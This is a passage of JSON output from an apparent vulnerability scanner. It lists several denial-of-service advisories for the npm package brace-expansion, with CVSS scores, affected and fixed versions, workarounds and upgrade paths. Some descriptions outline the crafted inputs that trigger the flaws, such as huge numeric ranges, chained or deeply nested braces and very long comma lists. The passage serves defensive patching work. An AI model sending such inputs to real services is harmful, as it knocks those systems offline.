`expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's 